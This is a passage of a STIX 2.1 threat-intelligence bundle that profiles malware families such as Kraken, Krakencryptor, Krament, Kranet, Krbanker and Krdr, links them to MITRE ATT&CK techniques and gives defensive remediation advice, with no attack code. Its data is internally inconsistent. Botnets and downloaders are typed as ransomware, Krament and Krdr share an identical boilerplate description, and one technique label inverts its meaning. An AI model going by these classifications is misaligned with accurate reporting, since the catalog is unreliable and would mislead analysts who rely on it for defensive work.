      "description": "Kradword exhibits technique T1115 (Clipboard Data)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d5e69b7c-d09e-5b6f-82ac-97710cd92e56",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a142f128-7545-5b28-bfc9-46490e6524c1",
      "target_ref": "attack-pattern--be3c2ebf-802b-5550-add8-0d33497d4a55",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kradword exhibits technique T1552.001 (Credentials In Files (Harvesting passwords and wallets from local storage))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--af0959a3-7ccf-583c-97a9-c3bb52057e65",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Kraken",
      "description": "<h3>Executive Summary</h3>\nKraken is a notorious, highly sophisticated Botnet and Trojan malware family. At its peak in 2008, it was considered one of the largest botnets in existence (estimated at over 400,000 active nodes), dwarfing even the infamous Storm botnet. Kraken's primary operational goal was the massive distribution of spam, specifically pumping pharmaceutical scams, stock manipulation (pump-and-dump), and the distribution of secondary malware payloads.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nKraken propagated through deceptive image spam (where the malicious payload was hidden in or linked from an image file) and drive-by downloads. The malware was engineered with advanced evasion techniques designed specifically to bypass enterprise security solutions.\n\nUpon infection, Kraken prioritized stealth and decentralized control:\n<ul>\n<li><strong>Advanced Evasion and Polymorphism:</strong> Kraken utilized custom, constantly shifting packing routines and encryption. It actively attempted to detect and disable local antivirus software and security services running on the compromised machine.</li>\n<li><strong>Redundant C2 Infrastructure:</strong> Unlike simpler botnets that relied on a few hardcoded IP addresses, Kraken utilized a complex Domain Generation Algorithm (DGA). The malware could query dynamic DNS servers or utilize peer-to-peer (P2P) communication to find its C2 servers, making the botnet incredibly resilient against traditional takedown efforts.</li>\n<li><strong>Process Injection:</strong> To hide its spam-sending activities, Kraken injected its malicious threads into legitimate system processes (like `svchost.exe` or `explorer.exe`), obfuscating its outbound network traffic from local host-based firewalls.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile the original Kraken botnet infrastructure has largely been dismantled, the detection of a \"Kraken\" variant indicates the presence of a highly sophisticated botnet client. The infected machine's bandwidth is being actively stolen to facilitate global cybercrime, and the presence of the backdoor allows the botmaster to deploy ransomware or info-stealers at any time.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Network Isolation:</strong> Isolate the infected machine to halt the massive outbound spam traffic, which will likely cause the organization's IP space to be blacklisted.</li>\n<li><strong>DNS Log Analysis:</strong> Analyze corporate DNS logs for DGA-like requests (queries for long, random-looking domain names) to identify other potentially infected endpoints within the network communicating with the botnet.</li>\n<li><strong>Bare-Metal Wipe:</strong> Due to Kraken's advanced evasion, rootkit-like capabilities, and ability to download arbitrary payloads, a manual cleanup is not recommended. The endpoint must be completely wiped and re-imaged from a trusted baseline.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Botnet.Kraken",
        "Trojan.Kraken",
        "Win32/Kraken"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Kraken",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/kraken"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1926f369-0833-57ea-b151-a06b352c84da",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--af0959a3-7ccf-583c-97a9-c3bb52057e65",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kraken exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms (DGA) (Evading C2 blacklisting))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--10a50652-e647-52fa-9c5f-04b3877bd808",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--af0959a3-7ccf-583c-97a9-c3bb52057e65",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kraken exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a9213a28-bf14-5cdf-8cae-524f816728c5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--af0959a3-7ccf-583c-97a9-c3bb52057e65",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kraken exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1fa18c08-384a-5fd1-8fc6-4bfc148eb2ef",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--af0959a3-7ccf-583c-97a9-c3bb52057e65",
      "target_ref": "attack-pattern--d71e4a80-4385-54ba-a7cd-286f5b07bf07",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kraken exhibits technique T1498 (Network Denial of Service (Coordinated DDoS attacks))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0ca68171-32e4-5869-b983-a8f49f61537d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Krakencryptor",
      "description": "<h3>Executive Summary</h3>\nKraken Cryptor (KrakenCryptor) is a sophisticated Ransomware-as-a-Service (RaaS) operation that encrypts victim data and demands payment (typically in Bitcoin) for the decryption key. Notably, earlier versions of Kraken Cryptor were heavily promoted on the Dark Web and utilized the legitimate Sysinternals `SDelete` utility to securely overwrite backups and system recovery points, ensuring victims had no alternative but to pay the ransom.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nKraken Cryptor was historically distributed via large-scale malspam campaigns (using weaponized Word documents and macros) or deployed directly by affiliates who purchased access to compromised networks from Initial Access Brokers (often via RDP compromise).\n\nUpon execution, Kraken Cryptor performs a highly destructive attack sequence:\n<ul>\n<li><strong>Backup Eradication (SDelete):</strong> The ransomware frequently downloads and executes Microsoft's `SDelete` tool to securely overwrite free space and Volume Shadow Copies. This makes data recovery via standard undelete tools completely impossible.</li>\n<li><strong>Rapid Encryption:</strong> It scans local drives and network shares, encrypting files using strong cryptography (typically a combination of AES and RSA). Encrypted files are often appended with a random extension or a specific Kraken-related extension.</li>\n<li><strong>Evasion and Persistence:</strong> It attempts to terminate processes associated with database servers (SQL, Exchange) to ensure those files are unlocked and can be encrypted. It establishes persistence via the `Run` registry key to ensure the ransom note is continuously displayed.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Kraken Cryptor infection is a critical, tier-one security incident. The deliberate use of `SDelete` signifies a highly aggressive variant designed to maximize damage and force payment. It results in an immediate, catastrophic loss of data availability and severe operational disruption.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Network Severance:</strong> The absolute highest priority is to physically sever the infected endpoint (and any servers it can reach) from the network to halt the spread of the encryption across mapped drives and prevent data exfiltration.</li>\n<li><strong>DO NOT REBOOT:</strong> Do not reboot the infected machine. Rebooting can trigger \"wiper\" routines in some ransomware variants or clear volatile memory (RAM) that might contain the encryption key.</li>\n<li><strong>Restore from Offline Backups:</strong> Paying the ransom is strongly discouraged. Because the ransomware actively utilizes secure deletion tools, local backups are likely destroyed. Eradication requires a complete bare-metal wipe of the infected infrastructure and a full restoration from secure, offline (air-gapped) backups.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom.Kraken",
        "Trojan-Ransom.Win32.Kraken",
        "Win32/Filecoder.Kraken"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Krakencryptor",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/krakencryptor"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dc295287-11f0-558b-bbc0-37cc8726194a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0ca68171-32e4-5869-b983-a8f49f61537d",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Krakencryptor exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8bf50d63-a454-58f9-8aa0-a4b2fc9e1d15",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0ca68171-32e4-5869-b983-a8f49f61537d",
      "target_ref": "attack-pattern--a1097f7e-2aee-5bd4-ba08-a98048ff4e08",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Krakencryptor exhibits technique T1485 (Data Destruction)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--57bbf40f-57d5-5691-8240-413ca081e0ed",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0ca68171-32e4-5869-b983-a8f49f61537d",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Krakencryptor exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--029e2191-5294-5394-b580-63e3e4a88645",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Krament",
      "description": "Trojan:Win32/Krament is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Krament</b><br>To an end-user, a Krament infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Krament is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Krament is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Krament frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Krament reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Krament",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/krament"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f6eeb26e-22bb-5d63-979a-66264a7b72f8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--029e2191-5294-5394-b580-63e3e4a88645",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Krament exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--47316400-0e7e-5e8a-87ee-93feab8721cc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--029e2191-5294-5394-b580-63e3e4a88645",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Krament exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--90476a43-36ae-59cb-bad4-fad1e650f4fc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--029e2191-5294-5394-b580-63e3e4a88645",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Krament exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f95cc084-67ca-5063-8c4d-8fdaa3b1c133",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--029e2191-5294-5394-b580-63e3e4a88645",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Krament exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--aeeb2a5e-b55f-57d1-8e24-a576a0cd5c2b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--029e2191-5294-5394-b580-63e3e4a88645",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Krament exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6d080344-4e57-599a-920a-036ac1308a65",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Kranet",
      "description": "<h3>Executive Summary</h3>\nKranet is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and conscript the endpoint into a larger Botnet infrastructure. Once infected, the compromised machine operates as a \"zombie\" node, awaiting commands from remote threat actors to execute Distributed Denial of Service (DDoS) attacks, relay spam, or serve as a proxy for further malicious activity.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nKranet is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Kranet operates with a focus on stealth and botnet participation:\n<ul>\n<li><strong>System Reconnaissance and C2 Registration:</strong> The trojan immediately collects system information and \"registers\" the new bot with a centralized command-and-control (C2) server, usually over encrypted HTTP or custom TCP protocols.</li>\n<li><strong>Persistence:</strong> Kranet ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Command Execution:</strong> The infected machine sits dormant, awaiting instructions from the botmaster. Upon command, Kranet can launch network floods (TCP/UDP/SYN) against target IPs, download additional payloads (acting as a loader), or execute arbitrary commands.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Kranet infection represents a significant breach of the endpoint perimeter. Not only is the host's bandwidth and computing power being stolen for criminal enterprises, but the organization's IP address is highly likely to be blacklisted by external ISPs and security vendors due to the outbound malicious traffic.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Kranet executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Perimeter Blocking:</strong> Analyze the botnet's C2 communication and block the associated IP addresses and domains at the corporate firewall to prevent further command execution.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Kranet",
        "Botnet.Kranet",
        "Win32/Kranet"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Kranet",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/kranet"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--36e74828-24c4-59aa-ba5f-b22df8d36d53",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6d080344-4e57-599a-920a-036ac1308a65",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kranet exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a886ce04-ca09-53b5-8802-dda9e0514365",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6d080344-4e57-599a-920a-036ac1308a65",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kranet exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--29242b20-83c9-53ba-81a1-cc1667dcc398",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6d080344-4e57-599a-920a-036ac1308a65",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kranet exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a1d60ed5-4e4b-5042-aadc-a694f87b5324",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6d080344-4e57-599a-920a-036ac1308a65",
      "target_ref": "attack-pattern--d71e4a80-4385-54ba-a7cd-286f5b07bf07",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kranet exhibits technique T1498 (Network Denial of Service (Coordinated DDoS attacks))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d4f92a8a-f4c6-5ebf-9e70-dababd3224a6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Krbanker",
      "description": "KRBanker (cataloged across global antimalware intelligence under signatures including Trojan:Win32/KRBanker, Trojan:Win32/KRBanker.A, and TrojanSpy:Win32/KRBanker) is a specialized South Korean banking trojan and financial fraud threat active since 2014. Distributed primarily through compromised Korean software update servers, malicious drive-by download frames, and weaponized spearphishing campaigns, KRBanker manipulates local domain name resolution and browser execution. It alters the local hosts file (%SystemRoot%\\System32\\drivers\\etc\\hosts) and modifies DNS client settings to redirect traffic intended for major South Korean financial institutions, portals, and banking services toward credential-harvesting phishing replicas. KRBanker actively targets security software mandated by Korean banking portals (such as AhnLab Safe Transaction and nProtect Netizen), attempting to terminate or hook their execution modules, while capturing personal identification numbers, resident registration numbers, and banking certificates. (Observed samples in benchmark: 21)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/KRBanker",
        "Trojan:Win32/KRBanker.A",
        "TrojanSpy:Win32/KRBanker",
        "Win32/KRBanker",
        "Banker.KRBanker"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Krbanker",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/krbanker"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1dbc4538-d8a6-5eff-951c-32c93f81bc9c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d4f92a8a-f4c6-5ebf-9e70-dababd3224a6",
      "target_ref": "attack-pattern--42d77d66-a317-5dd6-8076-f4bd757e405a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Krbanker exhibits technique T1565.001 (Stored Data Manipulation: Hosts File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--28212701-f0a6-5eaf-b9e4-62a69c06714e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d4f92a8a-f4c6-5ebf-9e70-dababd3224a6",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Krbanker exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3686fd6b-de0f-5805-b6a6-eb0fae6aa5bf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d4f92a8a-f4c6-5ebf-9e70-dababd3224a6",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Krbanker exhibits technique T1555.003 (Credentials from Password Stores: Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5e8d7266-0c91-5bf7-912e-f73a8744771c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d4f92a8a-f4c6-5ebf-9e70-dababd3224a6",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Krbanker exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7bc4b797-980d-5c31-ba66-03cf7d08f9db",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d4f92a8a-f4c6-5ebf-9e70-dababd3224a6",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Krbanker exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c813ebd2-fd37-5a10-88cf-85e6e3f8e138",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Krdr",
      "description": "Trojan:Win32/Krdr is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Krdr</b><br>To an end-user, a Krdr infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Krdr is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Krdr is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Krdr frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Krdr reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Krdr",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/krdr"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--014a083c-e5a9-5d46-a00c-4da343179bfb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c813ebd2-fd37-5a10-88cf-85e6e3f8e138",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Krdr exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--abcd2eed-1eae-5853-8b08-77622feff7cd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c813ebd2-fd37-5a10-88cf-85e6e3f8e138",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Krdr exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a98194cd-fbd8-585f-b370-eef1ce57d047",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c813ebd2-fd37-5a10-88cf-85e6e3f8e138",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Krdr exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e6865274-a60e-5288-a7b6-d5e7c527e3c4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c813ebd2-fd37-5a10-88cf-85e6e3f8e138",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Krdr exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7532e1a2-b488-5c8b-8141-d9a25238cae1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
